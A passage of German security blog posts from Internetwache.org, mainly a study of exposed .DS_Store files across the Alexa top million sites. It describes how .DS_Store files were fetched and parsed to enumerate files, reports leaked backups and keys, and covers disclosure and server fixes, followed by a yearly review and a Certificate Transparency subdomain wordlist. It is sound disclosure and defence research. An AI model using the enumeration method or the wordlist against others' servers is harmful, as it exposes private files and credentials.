Was ist die “.DS_Store-Datei”?

Beschäftigen wir uns also zunächst einmal mit der Datei “.DS_Store”. Einigen Personen wird diese sicherlich bekannt sein, wenn man einem Apple-Nutzer den USB-Stick ausgeliehen hat, denn betrachtet man den Inhalt des Sticks anschließend auf einem Windows-System oder einem Linux System, dann findet man dort, unter anderem meist eine Datei mit dem Namen “.DS_Store”. Der Dateiname steht für “Desktop Services Store” und in dieser Datei werden Informationen über die in einem Ordner enthaltenen Dateien und deren Anzeigeoptionen gespeichert, etwa die Position der Datei oder Kommentare zur Datei. Unter Mac-OS basierenden Betriebssystemen erstellt der “Finder” diese Datei automatisch, sie enthält zur Verwaltung der Dateien ihre Namen. Um die Datei vor dem Nutzer zu verstecken, wird wie bei vielen *NIX-ähnlichen Betriebssystemen ein Punkt dem Dateinamen vorangestellt. Das Format dieser Datei ist propäritär und wurde von Apple selbst entwickelt. Folglich werden die Dateien auch standardmäßig nur von Apple Geräten interpretiert. In dem Blogpost “The origins of .DS_Store” aus dem Jahre 2006 von einem der Erfinder der “.DS_Store”-Datei beschreibt dieser, dass er nachträglich einen anderen Namen wählen würde und zudem die Verbreitung der Datei massiver ist, als ursprünglich geplant. So kommt es laut seiner Aussage dazu, dass die Datei erstellt wird, sobald man einen Ordner betrachtet - geplant sei allerdings gewesen, dass die Datei nur erstellt werden soll, sofern die Ordneransicht geändert wird. Bis heute findet sich die Datei auf zahlreichen Festplatten. Nun könnte man glauben, dass diese Datei harmlos sei und bloß ein Abfallprodukt von der Nutzung durch einen Apple Rechner. Betrachtet man eine “.DS_Store”-Datei in einem Editor, so scheint zunächst auch nichts spannendes mit ihr möglich zu sein:

Wie einigen bekannt oder aufgefallen sein wird, handelt es sich um eine Binärdatei. Weil eine detaillierte Beschreibung des Dateiformats für diesen Blogpost zu umfangreich wäre, hat Sebastian auf seinem Blog einen einzelnen Blogpost dazu geschrieben.

Wieso kann die Datei zu einem Problem werden?

Diese Datei kann zu einem Sicherheitsproblem werden, wenn diese vom lokalen Dateisystem eines Nutzers in andere Hände fallen. Beispielsweise durch einen Upload einer Webseite vom Entwicklersystemauf einen Webserver. Gelangt ein Angreifer an diese Datei, weil der Webserver den Download nicht verhindert und zuvor ein Upload stattgefunden hat, so kann er gegebenenfalls Rückschlüsse auf weitere auf dem Server vorhandene Dateien ziehen. Wir wollten wissen, ob sich diese Methode tatsächlich so leicht umsetzen lässt wie gedacht, haben deshalb einige Nachforschungen betrieben und möchten unsere Beobachtungen im Folgenden schildern.

Als Grundlage für unsere Untersuchung, nahmen wir einen Export der Alexa Top 1 Millionen Webseiten. Sollten wir die .DS_Store Datei auf diesen Webseiten finden können, so wären einige der weltweit meistbesuchten Webseiten potentiell gefährdet. Basierend auf Sebastians Bibliothek zum Parsen der Datei in der Sprache “Go”, entwickelte er ein Tool, um die Existenz der Datei auf dem Server zu prüfen. Während dem letzten Hackercongress (34C3) in Leipzig nutzen wir dort die schnelle Internetanbindung, um innerhalb der vier Tage des Kongresses alle Webseiten auf diese Schwachstelle hin zu untersuchen.

Das Vorgehen

Dabei ging das Tool wie folgt vor:

• HTTP GET-Anfrage von http://domain.tld/.DS_Store
• Parsen der Datei und Extrahieren von Dateinamen
• Im rekursiven Modus: Prüfung, ob der Dateiname ein Ordner ist und ob in diesem Ordner wieder eine .DS_Store Datei abrufbar ist.
• Für alle gefundenen Dateipfade: HTTP HEAD-Anfrage zur URL, um die Abrufbarkeit festzustellen

Den Scandurchlauf haben wir im rekursiven Modus durchgeführt, weil viele interessante Dateien häufig nicht auf der ersten Dateiebene liegen. Allerdings liegt in jedem Unterordner oft wieder eine .DS_Store-Datei, was einen tieferen Einblick in die Verzeichnisse ermöglicht. Das Parsen der Dateien und die daraus resultierende Liste mit Dateinamen ermöglichte uns noch nicht die Aussage, ob diese Dateien auch wirklich auf dem Webserver existieren und potentiell heruntergeladen werden können. Wir erinnern uns - die Informationen aus der .DS_Store Datei beziehen sich auf die lokale Umgebung des Mac-Betriebsystems. Um der Frage, ob die Dateien auch online wiederzufinden sind, auf den Grund zu gehen, wurde zu jeder gefundenen Datei eine HEAD-Anfrage geschickt. Mit diesem HTTP-Anfragentyp schickt der Webserver nur die Header der Antwort zurück, jedoch nicht den Inhalt der Datei. Zwar ist diese Methode nicht perfekt, weil manche Webserver statt HTTP-Antwort “Nicht gefunden” (404) auch “OK” (200) zurückgeben, oder die HEAD-Anfragemethode deaktiviert ist, aber so kann man uns später nicht vorhalten, dass wir auf sensitive Inhalte zugegriffen hätten. Bei einem Antwortstatuscode von 200 nahmen wir die Existenz der Datei an und darauf basieren die folgenden Ergebnisse, wenn nicht anders angegeben.

Die Ergebnisse

Die Ergebnisse haben wir in Log-Dateien festgehalten. Von 1 Millionen abgescannten URLs haben circa 10000 Domains eine “.DS_Store”-Datei zum Download angeboten. Zunächst waren wir etwas enttäuscht, da wir von einer etwas größeren Verbreitung ausgegangen sind, allerdings stellte sich heraus, dass wir auch mit dem vorliegenden Datensatz einige interessante Rückschlüsse ziehen konnten. Einige Funde sind uns möglicherweise entgangen, weil der Parser nicht alle Dateien erfolgreich auslesen konnte. Insgesamt enthielt unsere Logdatei 1185671 gefundene URLs (auf Grund der angewandten Rekursion), die sich durch die Analyse der .DS_Store Dateien ergab.

Die HTTP-Antwortstatuscodes der HEAD-Anfragen verteilen sich wie folg:

Ein Großteil der gefundenen Dateien war potentiell abrufbar. Bei etwas mehr als 21000 URLs konnte der Status nicht ermittelt werden. Die verbleibenden Statuscodes deuten eher daraufhin, dass die Dateien nicht abrufbar (403 - Forbidden) oder nicht mehr vorhanden (404 - not found) waren. Die Häufigkeit einer gefundenen Datei war nicht gleichverteilt, sondern einige größere Webseiten schienen in vielen Verzeichnissen die .DS_Store Datei zu haben. Wenn ein Administrator oder ein Entwicklerteam die .DS_Store also “vergessen” hatte, so ist dies gleich mehrfach geschehen, was teilweise eine weitreichende Einsicht in die Inhalte von Webserververzeichnisse ermöglicht. In der folgenden Auflistung sieht man die Top 10 der Funde pro Domain (diese wurden hier aus Gründen der Sicherheit anonymisiert):

1
2
3
4
5
6
7
8
9
10

  80957 domain1.tld
  67754 domain2.tld
  55143 domain3.tld
  19688 domain4.tld
  19520 domain5.tld
  18989 domain6.tld
  12525 domain7.tld
  12058 domain8.tld
  11521 domain9.tld
  11463 domain10.tld

Eine interessante Betrachtung ist die Verteilung der Top-Level-Domains, welche .DS_Store-Dateien preisgeben. Wie man aus den Top 25 erkennt, sind .com Seiten stark vertreten. Sie stellen fast 50% der betroffenen Domains, das könnte auf die hohe Verbreitung von Mac OS in den USA zurück zu führen sein, dazu liegen allerdings nicht genügend Informationen über die Personen oder Unternehmen, die die Domains registriert haben vor.

Nachdem wir nun ungefähr erfahren haben, welche Domains und in welchem Umfang von diesem Problem betroffen sind, können wir weitere Betrachtungen im Detail vornehmen - beispielsweise können wir unseren Blick auf die Dateien, die durch diese Methode entdeckt werden können, werfen. Wie oben beschrieben, sind diese Aussagen auf den 200-Status Antworten der HEAD-Abfragen basierend. Möglicherweise gibt es also weitaus mehr (interessante) Dateien, die von einem Angreifer heruntergeladen werden könnten. Die Top 10 der meistgefundenen Dateiendungen sieht wie folgt aus:

1
2
3
4
5
6
7
8
9
10

 256715 .jpg
  75177 .png
  64835 .php
  42422 .html
  39691 .gif
  23683 .htm
  16397 .pdf
   9736 .js
   9346 .txt
   6886 .css

Schaut man sich die Liste der über 1500 Dateiendungen weiter an, so findet man u.a. auch folgende Einträge, die für einen Missbrauch nützliche Informationen beinhalten könnten:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

661 .bak
569 .gz
549 .doc
464 .db
343 .csv
266 .eml
248 .log
240 .old
202 .docx
186 .inc
162 .config
129 .cfg
123 .sql
123 .sh
105 .htaccess
 55 .git
 35 .LOG
 23 .orig
 22 .tgz
 21 .pem
 18 .out
 16 .conf
 16 .cfs
 10 .php_old
 10 .php_
 10 .key
  8 .back
  6 .backup
  5 .bkp
  4 .php_bak
  3 .htpasswd
  2 .core
  2 .bash_history

Unter den “.bak” Dateien finden sich beispielsweise folgende Dateinamen:

1
2
3
4

  9 index.php.bak
  2 wp-config.php.bak
  2 php.ini.bak
  2 db.bak

Einige dieser Dateien lassen sich ohne weiteres herunterladen, da keine Authentifizierung erforderlich ist und sie offensichtlich nicht nur in der lokalen Umgebung des Entwicklers vorhanden waren, sondern auch auf den Webserver geladen wurden. Wir sind durch diese Technik auf Backupdateien, Zertifikate oder sonstige sensible Informationen aufmerksam geworden und haben die verantwortlichen Stellen (sofern möglich) informiert. Die meisten informierten Webseitenbetreiber haben direkt reagiert, entsprechende Dateien offline genommen, geschützt und .DS_Store Dateien entfernt, andere haben bislang leider noch keine Handlungen vorgenommen - wir hoffen allerdings, das die Veröffentlichung dieses Artikels erneut zur Sensibilisierung beiträgt.

Kurioses zum Fund

Interessant an der Angelegenheit ist, dass dieses Problem bereits mehrfach beleuchtet wurde, die “Fixes” aber meist deletantisch sind oder zumindest immernoch eine Angriffsoberfläche gegeben ist.

Erste Diskussionen zu dem Thema gab es bereits 2001 - heute, 17 Jahre später führt die Datei immernoch zu Sicherheitsproblemen. Apple musste auf Grund zahlreicher Kundenbeschwerden das Veröffentlichen von .DS_Store-Dateien auf Netzlaufwerken unterbinden und erklärte in einem Hilfeartikel wie sich die Funktion abschalten ließ. Adobe weißt in einem FAQ der Web-Software Dreamweaver darauf hin, dass man am besten einen Cronjob aktivieren soll, der die .DS_Store-Dateien regelmäßig löscht. Diese Art des Schutz ist allerdings ausschließlich temporär und daher wohl nicht als vollkommen ausreichend zu betrachten (bessere Lösungsvorschläge finden sich unten). Auch im Rahmen von Bug Bounty Programmen wurde diese Technik bereits eingesetzt, so wurde ein Security Researcher beispielsweise vor 2 Jahren bei Twitter fündig. Dort fand ein Security-Researcher mit dem Namen “lewerkun” unter anderem Lizenzschlüssel, ein WLAN-Zertifikat, ein CA Root Zertifikat und erhielten dafür (gerade einmal) eine Belohnung in Höhe von 560$.

Gegenmaßnahmen

Um die unfreiwillige Preisgabe von Informationen zu verhindern, empfehlen wir folgende Maßnahmen.

Grundsätzlich sollten logischerweise niemals Dateien auf Webserver hochgeladen werden, welche nicht abrufbar sein sollten (auch nicht temporär). Das klingt zunächst einleuchtend, die Praxis zeigt allerdings, dass dies nicht so sehr die Regel ist. Unser Kollege Hanno Böck konnte in seiner Seine Präsentation vom 34c3 vorführen, wie in zahlreichen Fällen mittels “wget” komplette Datenbestände heruntergeladen werden konnten - was eindrucksvoll zeigt, dass es einiges an Handlungsbedarf gibt.

Möchte man auf seinem Webserver überprüfen, ob die diskutierten Dateien dort zu finden sind, so kann man auf Linux-Servern folgenden Kommando verwenden:

1
2

cd /var/www # Ins DocumentRoot des Webservers wechseln
find . -type f -iname "*.DS_Store*"

Das Kommando sucht in dem Ordner /var/www nach Dateien, die “.DS_Store” im Dateinamen haben. Sollte eine Ausgabe erscheinen und die entdeckten Dateien nicht explizit herunterladbar sein, so könnte eine Informationspreisgabe möglich sein. Falls Sie alle gefundenen Dateien entfernen möchten, reicht das Anhängen des Parameters -delete an das Suchkommando.

Eine bessere Methode ist hingegen den Webserver anzuweisen, diese Dateien nicht auszuliefern und den Zugriff zu blockieren. Für die zwei bekanntesten Webserver schlagen wir folgende Konfigurationseinträge vor:

Apache

In der httpd.conf kann der Zugriff mit Hilfe der folgenden Direktive verhindert werden:

1
2
3
4

<Files ~ "\.DS_Store$">
    Order allow,deny
    Deny from all
</Files>

Nginx

Im server-Block blockiert die folgende Anweisung den Zugriff:

1
2
3

location ~ \.DS_Store$ {
      deny all;
}

Zusätzlich sollte überprüft werden, dass:

• diese Dateien nicht in Code-Verwaltungsprogramme (git/svn/etc) eingecheckt und auf dem Server heruntergeladen werden
• diese Dateien bei rsync/(s)ftp oder anderen Dateiübertragen vorher exkludiert oder entfernt werden

Proof of Concept

Um eindrücklich zu zeigen welche Folgen das Veröffentichen der .DS_Store-Datei hat, haben wir eine Demowebseite erstellt auf der man unseren Parser nutzen kann, um Dateinamen aus DS_Store-Dateien auszulesen:

• Link zum “Online .DS_Store Parser”

Disclamer: Bitte ausschließlich für Selbsttest oder Lehre/Forschung nutzen. Die Benutzung für illegale Zwecke ist untersagt!

Weitere Fragen zum Tool beantworten wir im entsprechenden FAQ oder gern per Email.

Möglicher weiterer Research

.DS_Store-Dateien können auch innerhalb von ZIP-Dateien enthalten sein, sofern diese unter Apple gepackt wurden. Unser Parser ist auf das Auslesen von Dateinamen aus .DS_Store-Dateien spezialisiert - es ist allerdings auch durchaus denkbar andere Informationen (etwa Kommentare zu Dateien) aus .DS_Store-Dateien auszulesen, was den Angriffsvektor noch mächtiger machen würde. Neben .DS_Store gibt es unter anderen Betriebssystemen möglicherweise weitere Dateien, welche interessant sein können - auch Verzeichnisse wie “.Trash” könnten sich für zukünftige Nachforschungen in dem Bereich lohnen.

Das Team der Internetwache.org

Den meisten unserer Leser werden die Jahresrückblicke schon seit dem Bestehen des Projektes bekannt sein (siehe beispielseweise den Jahresrückblick von 2016 ).

Besonderheiten in 2017

Im letzten Jahr gab es einige Besonderheiten. Diese haben zum einen unsere persönliche (und sicherlich auch die Arbeit von sonstigen IT-Spezialisten) beeinflusst haben wird. Das Windows-Schadprogramm “WannaCry” hat im Mai 2017 neue Maßstäbe gesetzt und zeigt eindrücklich wie verwundbar unsere digitalisierte Gesellschaft ist.

Auf Grund unserer Arbeiten im Jahr 2016 (unter anderem dem Fund von Wasserwerken) durften wir im Rahmen eines Hearings im europäischem Parlament (in Brüssel / Belgien) unsere Erfahrungen und Eindrücke zum Thema Internetsicherheit (mit dem Schwerpunkt auf IoT-Security) schildern. Diese Art der Arbeit (Lobbyismus) war für uns eine neue, spannende Erfahrung. Wir halten es für wichtig, dass neben Vertretern der Industrie immer auch zivilgesellschaftliche Gruppen angehört werden, um einen Interessensausgleich in der Politik zu ermöglichen.

Die Ereignisse um #WannaCry waren für uns auch der Anlass in diesem Jahr einen besonderen Sticker zu erstellen.

Unsere Arbeit, insbesondere die Funde der Wasserwerke und Ampeln, wurde im offiziellen Bericht des Bundesamt für Sicherheit in der Informationstechnik zur Lage der IT Sicherheit in Deutschland 2017 erwähnt (leider ohne konkrete Quellennennung).

Siehe: Lagebericht 2017: Die Lage der IT-Sicherheit in Deutschland, Seite 14.

Wir freuen uns, dass 5 Jahre nach Gründung von Internetwache.org eine solch prominente Nennung, durch eine wichtige Bundesbehörde, erfolgt ist.

Ein weiteres Highlight des Jahres war, dass sowohl Tim als auch Sebastian ihren ersten Studienabschnitt erfolgreich abschließen konnten und nun stolzer Besitzer eines “Bachelor of Science” sind, siehe mehr dazu in der Rubrik “persönliche Erfolge”.

Uns wurde mitgeteilt, dass unsere Webseite bei manchen Anti-Viren-Programmen oder Firewalls als “gefährlich” eingestuft wird. Wir sind uns nicht ganz sicher, wie wir auf solchen Listen landen konnten (vermutlich hat es mit einem Artikel über Kryptomining Malware zu tun), aber arbeiten mit Nachdruck daran, unsere Domain von diesen Listen streichen zu lassen. Sollte euch auffallen, dass unsere Seite irgendwo nicht erreichbar oder gesperrt ist, so sind wir über Hinweise per Email immer sehr dankbar!

Medienberichte

In 2017 haben wir, wie im letzten Jahr angekündigt, unsere Arbeit mit Medien fortgesetzt. Dadurch konnten wir die Wichtigkeit des Themas IT- und Informationssicherheit betonen und unser Projekt, auch weniger IT-affinen Personen näherbringen und zudem die gesellschaftliche Relevanz darstellen.

ZDF Wiso

Anfang des Jahres 2017 haben wir an einem Kurzbeitrag zum Thema “Hackerangriffe auf Infrastrukturen” bei ZDF Wiso mitgewirkt. In dem Beitrag stellen wir unsere Wasserwerk Funde und ein neu gefundenes Krankenhaus vor und beschreiben die Risiken in dem Bereich.

Link: https://www.zdf.de/verbraucher/wiso/wiso-clip-3-hackerangriffe-auf-infrastruktur-wasser-strom-werke-100.html

Bericht aus Berlin (ARD)

Wir halten die fortlaufende, offensive Militarisierung des Cyberraums (durch Behörden und Geheimdienste) für sehr bedenklich. Wir haben in einem Bericht aus Berlin dazu unsere Meinung kurz darlegen können.

Link: https://www.tagesschau.de/multimedia/sendung/bab/bab-3971~_bab-sendung-363.html

ZDF Zoom

ZDFZoom ist ein längeres Dokuformat des ZDFs. Wir schildern in der Dokumentation wie wir ein neues Wasserwerk in Bayern ausfindig machen konnten.

Link: https://www.zdf.de/dokumentation/zdfzoom/zdfzoom-datenklau-und-cyberwar-100.html

TAZ

Vor der Bundestagswahl 2017 gab es viele Befürchtungen, dass die Wahl (ähnlich wie in den USA) durch Hacks oder gezielte Manipulation beeinflusst werden könnte. Wir wurden deshalb zu dem Thema von der TAZ befragt.

Link: https://www.taz.de/Gehackte-Daten-aus-dem-Bundestag/!5436704/

Politico.eu

Auch auf politico.eu wurden wir zum Thema “Wahl” und “IT-Sicherheit” befragt.

Link: https://www.politico.eu/article/hacked-information-bomb-under-germanys-election/

golem.de

Mit golem.de pflegen wir mittlerweile eine recht intensive, wenn auch nicht formale, Medienkooperation. Auf unserem Blog erreichen wir nicht so viele Personen, wie über golem.de - weshalb wir besondere Erkenntnisse oder Funde dort platzieren. In 2017 sind dort unter anderem folgende Artikel erschienen:

• Fund einer unsicheren Luxus Klinik in der Schweiz
• Diskussionen zu den neuen OWASP Top10
• IT-Rechtliche Probleme beim G20 Hinweisportal
• Windkraft und IT-Sicherheit

Weitere Medienberichte

Mittlerweile findet man eine ganze Reihe von Medienberichten über uns, weshalb wir uns an dieser Stelle nur auf die reichtweitenstärksten und direkten Beiträge beschränkt haben.

Konferenzen und Vorträge

2017 waren wir auf verschiedenen Konferenzen.

RuCTF 2017

Anfang des Jahres war Sebastian als Teil des @ENOFLAG CTF Teams und der TU-Berlin beim Finale des RuCTF Wettbewerbs, zu dem die gleichnamige Konferenz in Jekaterinburg stattfindet.

I had fun with my colleagues from @ENOFLAG at the @ructf finals!

Nice venue, nice challenges, nice people. 10/10 :) #ructf pic.twitter.com/l6DXaPjUMz

— Sebastian Neef (@gehaxelt) 24. April 2017

Quantenkonferenz

Im Juni fand die von Golem.de organisierte Quantenkonferenz statt, auf die wir freundlicherweise eingeladen wurden. Die Konferenz war ein guter Einstieg in das (für uns) noch relativ neue Thema der Quantencomputer. Es wird vermutet, dass mit Quantencomputern die bekannte Kryptographie “gebrochen” werden könnte, aber glücklichweise erbringen Quantencomputer mit nur wenigen Qubits bisher kaum die nötige Rechenleistung. Wir finden das Thema sehr spannend und werden beobachten, was sich in dem Themengebiet in den kommenden Jahren tun wird.

Woop woop! I'm ready for quantum computing and interesting talks. Thanks for the invitation, @golem :) pic.twitter.com/PsISBA1hKB

— Sebastian Neef (@gehaxelt) 23. Juni 2017

Z2X

Anfang September 2017 war Tim auf dem Z2X Festival von ZEIT Online, hat dort die Arbeit von Internetwache.org vorgestellt und generell Fragen zum Thema Hacking beantwortet. Unser Projekt “Internetwache.org” wurde abschließend durch die 800 Teilnehmer von Z2X sogar auf Platz 2 gewählt. Es freut uns im Rahmen solcher Events auf positive Resonanz und Unterstützung zu stoßen. Z2X war für Tim eine besondere Erfahrung, die er auch 2018 nicht missen möchte. Nächstes Jahr wird Sebastian auch dabei sein, um Tim bei der Vorstellung des Projekts zu unterstützen.

#Z2X17-Finalist: https://t.co/3ygE9usCVt will das Internet durch Hacking sicherer machen pic.twitter.com/FMQC9a5vTF

— z2xfest (@z2xfest) 3. September 2017

34C3

Am Ende des Jahres waren wir wieder auf dem größten, europäischem Hackercongress (wie die letzten 4 Jahren), der 34. Edition des Chaos Communication Congresses. Vier Tage lang hörten wir uns spannende Vorträge an, genossen die Hacker-Atmosphäre und trafen einige unserer Freunde und Follower wieder! Wie auch im Vorjahr hatten wir ein eigenes Assembly und freuen uns mit einigen Leuten ins Gespräch gekommen zu sein. Mit dem Standortwechsel nach Leipzig (zuvor waren wir immer in Hamburg) ergaben sich viele neue Herausforderungen, die aber gut gelöst wurden und eine wunderbare Zeit ermöglichten. Wir freuen uns auf die nächste Edition Ende 2018 (#35c3)!

Thank you for a very nice #34c3
Amazing talks, friendly discussions and hacking around! Looking forwars to #35c3 ^ts pic.twitter.com/bOgLmp0EX0

— Internetwache.org (@internetwache) 30. Dezember 2017

Unsere Sticker kamen dieses Jahr besser als letztes Jahr an. Insgesamt verteilten wir alle 1000 Stück auf dem Congress. Habt ihr (k)einen abbekommen? Dann lasst es uns wissen :)

We distributed around 1000 new stickers at the #34C3. Who got a fancy #wannacry sticker on his laptop now? ^sn pic.twitter.com/71WdIEpQ1M

— Internetwache.org (@internetwache) 4. Januar 2018

Persönliche Erfolge

Sebastian (@gehaxelt) hat seinen Bachelor mit einer Arbeit zum Thema Implementation and Evaluation of a Framework to calculate Impact Measures for Wikipedia Authors abgeschlossen. Danach ist er mit einem Kumpel 2.5 Monate und insgesamt 12,000 Kilometer durch fast alle Länder Osteuropas gefahren, und hat dabei viele neue Eindrücke und Erfahrungen gesammelt. Das Masterstudium und möglicherweise ein Auslandsaufenthalt sind für 2018 geplant!

Tim (@TimPhSchaefers) hat ebenfalls seinen Bachelor abgeschlossen. In seiner Bachelorarbeit hat er sich mit einer Evaluation im Bereich PAM (Privileged Access Management) beschäftigt. Desweiteren wurde Tim zum Junior-Fellow der Gesellschaft für Informatik ernannt. Außerdem hat er, gemeinsam mit einem Kommilitonen, ein zweites Buch mit dem Titel “WLAN Hacking” geschrieben, welches im Januar 2018 erscheint. Im Rahmen seines Junior-Fellowships bei der Gesellschaft für Informatik möchte Tim sich weiterhin für die Themen IT-Sicherheit und Privatsphäre einsetzen.

2017 in Zahlen

Mit mehr als 2200 Followern auf unserem @internetwache Twitterprofil erfreuen wir uns einem Zuwachs von ungefähr 1.6 Followern pro Tag im vergangenen Jahr.

Die Besucherzahlen unseres Blogs stieg dieses Jahr wieder einmal kräftig an. Wir zählen verzeichnen ungefahr 40,000 Besuchen mit insgesamt 52,000 Seitenansichten. Das ist ein 50% Anstieg an Besuchen im Vergleich zum Vorjahr! Wahrscheinlich haben wir diese Zahlen vorallem unseren internationalen Lesern zu verdanken, denn die englische Version des Blogs wird ungefähr 3x häufiger besucht als die deutsche Version. Das Ergebnis erstaunt uns dennoch, denn im Gegensatz zum Vorjahr, schrieben wir dieses Jahr insgesamt nur drei Artikel. Leider fehlte uns für mehr Research und mehr Posts die Zeit, aber wir versuchen das 2018 zu ändern.

Wir hoffen euch mit tollen, neuen Erkenntnissen überraschen zu können und haben bereits einige Ideen. Kommen wir also zum Ausblick …

Ausblick auf 2018

Im Jahr 2017 haben wir, anders als geplant, leider nicht die Kraft und Zeit gefunden ein CTF (capture the flag) zu veranstalten. Da unser erstes CTF uns allerdings sehr viel Spaß gemacht hat, wollen wir in Zukunft erneut ein CTF hosten.

In 2018 möchten wir unsere Medienarbeit und Auftriffe auf Konferenzen weiter intensivieren. Außerdem wollen wir wieder mehr Research Blogposts (ggfs. auch über golem.de) veröffentlichen. Wir haben bereits einige Themenideen und es wird in Kürze etwas dazu zu hören geben.

Für 2018 oder besser gesagt 2019 planen wir noch eine Überraschung. Wir werden im Blog darüber berichten.

In dem Sinne wünschen wir allen unseren Lesern ein erfolgreiches 2018!

Tim & Sebastian

Das Team der Internetwache.org

Certificate Transparency ist ein Projekt von Google, dass die Überwachung von ausgestellten SSL/TLS-Zertifikaten übernimmt, um beispielsweise falsch ausgestellte Zertifikate erkennen und widerrufen zu können. Certificate Authorities sind angehalten ihre ausgestellten Zertifikate in den öffentlich zugänglichen Logs zu protokollieren. So findet man zum Beispiel alle Zertifikate der Internetwache.org.

In diesen Logs befinden sich die Informationen zum gesamten Zertifikat, d.h. auch die Domain, für die es gilt. Seit dem Start von Let’s Encrypt können schnell, einfach und kostenlos Zertifikate generiert und eingebunden werden. Allerdings unterstützt Let’s Encrypt bisher noch keine Wildcards - diese kommen erst im Januar 2018 zum Einsatz. Noch muss bei Let’s Encrypt also jede Subdomain explizit im Zertifikat genannt sein. Dies wiederum bedeutet, dass Subdomains, dessen Existenz man bisher nicht vermuten konnte (z.B. xyz-asd.domain.tld), nun einfach zu entdecken sind.

Aus Sicht eines Hackers kann das durchaus von Interesse sein. Sebastians Idee bestand darin, mit dem Python-Modul certstream auf Log-Updates der Certificate Transparency zu horchen, aus den geparsten Zertifikaten die Subdomains zu extrahieren und in eine Datenbank einzupflegen. Um diese Subdomains der Häufigkeit nach zu sortieren, wird außerdem ein Zähler mit gespeichert. Ganz automatisiert werden die Top 100/1000/10,000/100,000 Domains stündlich ins GitHub Repository “CT_Subdomains” exportiert.

Die Einträge sehen folgendermaßen aus:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

# Generated 2017-12-11 11:00:01.087903
count,subdomain
8529329,*
3573653,www
779370,mail
507273,webdisk
497893,webmail
480967,cpanel
178293,autodiscover
21955,dev
19415,blog
18989,m
18518,test
16513,shop
15859,whm
10483,api
10236,admin
9341,com
7521,mdp
7484,staging
7370,cloud
7173,demo
6667,app
6275,tls
6070,eu
5882,mbox12
5223,store

Link zum GitHub Repository “CT_subdomains”

Diese Liste könnte zum Beispiel als Eingabe für DNS-Reconnaissance Tools, wie gobuster usw. nützlich sein.

Es gab bereits einige Beiträge darüber wie Certificate Transparency Websicherheit gefährden kann, beispielsweise von Hanno Boeck auf der DEF CON 25

Das Team der Internetwache.org

ZDF WISO

Wir haben unsere Arbeit in der Sendung WISO im ZDF, ausgestrahlt am 8.Mai, vorgestellt. Darin geht es vorallem um die (Un-)Sicherheit von Wasserkraftwerken in Deutschland, einer Klinik in der Schweiz und IT-Sicherheit generell: Beitrag ZDF WISO, verfügbar bis 08.05.2018

Besuch im EU Parlament in Brüssel

Wir wurden im Juni 2017 zu einer Anhörung zum Thema “IoT Security” in das EU Parlament nach Brüssel eingeladen. Die Einladung erfolgte nach dem “Ausbruch von Wannacry” und hat sich deshalb auch mit der zunehmenden Bedrohung einer vernetzten Welt beschäftigt. Für uns war der Vortrag eine eher ungewöhnliche Rolle, da wir mit Politik bisher meist indirekt (über Medienauftritte) in Kontakt gekommen sind. Uns hat die Diskussion vor Ort und der Austausch mit anderen Interessierten auf dem Gebiet Spaß gemacht und es war spannend auch andere Standpunkte, beispielsweise die der Industrie, nachzuvollziehen. Wer sich für die Debatte interessiert kann einige Informationen in diesem Blogpost vom MEP Jan Philipp Albrecht nachlesen.

TAZ

In der Kategorie “Politik/Netzpolitik” erschien ein Beitrag mit dem Namen “Gehackte Daten aus dem Bundestag - Im Visier der Cyberkrieger” zu dem wir unsere Einschätzung abgegeben haben.

Z2X

Tim hat Anfang September am “Z2X17” von Zeit Online teilgenommen. Auf die Veranstaltung ist er bereits im letzten Jahr aufmerksam geworden, da war es allerdings zu spät für eine Anmeldung. Das Ganze hat er allerdings in diesem Jahr nachgeholt und war begeistert vom Z2X. Denn dort kamen 800 Personen im Alter von 20 bis 29 Jahren zusammen und haben darüber diskutiert, wie wir in Zukunft leben möchten. Tim hat ein “Frag mich alles” dort abgehalten, in dem er vor allem über den friedlichen Einsatz von Informatik, Cyberwar, aber auch das Projekt “Internetwache.org” gesprochen hat. Zum Schluss des Z2X wurde unser Projekt “Internetwache.org” als 2-Bestes von den 10 Finalisten durch die Besucher gewählt. Das zeigt uns, dass unsere Aktivitäten und verantwortliches Hacken in der heutigen Zeit gebraucht und akzeptiert werden. Wir freuen uns sehr über diese Unterstützung und wollen versuchen, unsere Fortschritte (mit-)zuteilen.

Sonstiges

Sebastian hat in der Zwischenzeit seine Bachelorarbeit mit dem Thema “Implementation and Evaluation of a Framework to calculate Impact Measures for Wikipedia Authors” fertiggestellt und ist die nächsten paar Wochen/Monate im Urlaub, er fährt durch Osteuropa.

Tim schreibt aktuell noch seine Bachelorarbeit im Themenbereich “Privileged Access Management” und wird diese voraussichtlich noch in diesem Jahr fertigstellen. Darüberhinaus wird er demnächst zum Junior-Fellow bei der Gesellschaft für Informatik ernannt und sein zweites Fachbuch (“WLAN Hacking”), welches er zusammen mit Rico Walde geschrieben hat, wird veröffentlicht.

Ausblick

Wir haben noch einige Sachen für die Zukunft geplant. Vielleicht kommt es dieses Jahr auch noch zu einem Internetwache.org CTF 2017 ;) - also einer Neuauflage des “Internetwache CTF von 2016”. Außerdem werden wir Ende des Jahres wieder beim #34c3 mit einem Assembly vertreten sein (dieses Jahr in Leipzig) und freuen uns dort einige von euch zu treffen. Außerdem planen wir bereits einiges für 2018 ein, also bleibt gespannt ;)

Wir verbleiben vorerst mit freundlichen Grüßen Das Team der Internetwache.org

PS: Wir versprechen demnächst auch auf dem Blog mal wieder mehr Informationen zu veröffentlichen, wer darüber hinaus auf dem Laufenden bleiben möchte, kann uns gern auf Twitter folgen: @internetwache

Community Aktion & CTF

Wie im letzten Jahresrückblick angekündigt, wollten wir uns bei allen Begleitern aus der Community für die bisherige Unterstützung des Projektes Internetwache.org bedanken - aus diesem Grund haben wir an einem Wochenende im Februar ein “Capture The Flag” (CTF) veranstaltet. Die Teilnahme war überwältigend! Mit über 1500 registrierten Teams und 650 aktiv teilnehmenden Teams wurden unsere Erwartungen weit übertroffen. Wer sich genauer für die Statistiken interessiert, dem empfehlen wir einen Blick auf den damals verfassten Artikel dazu.

Als weitere kleine Community-Aktion haben wir unseren ersten Satz an Stickern erstellt und auf dem 33c3 (CCC-Congress) verteilt. Unserer Meinung nach sind die Sticker für den ersten Durchlauf ganz gut gelungen. Wenn ihr uns das nächste Mal trefft, dann bekommt ihr bestimmt auch welche.

Unsere Arbeit

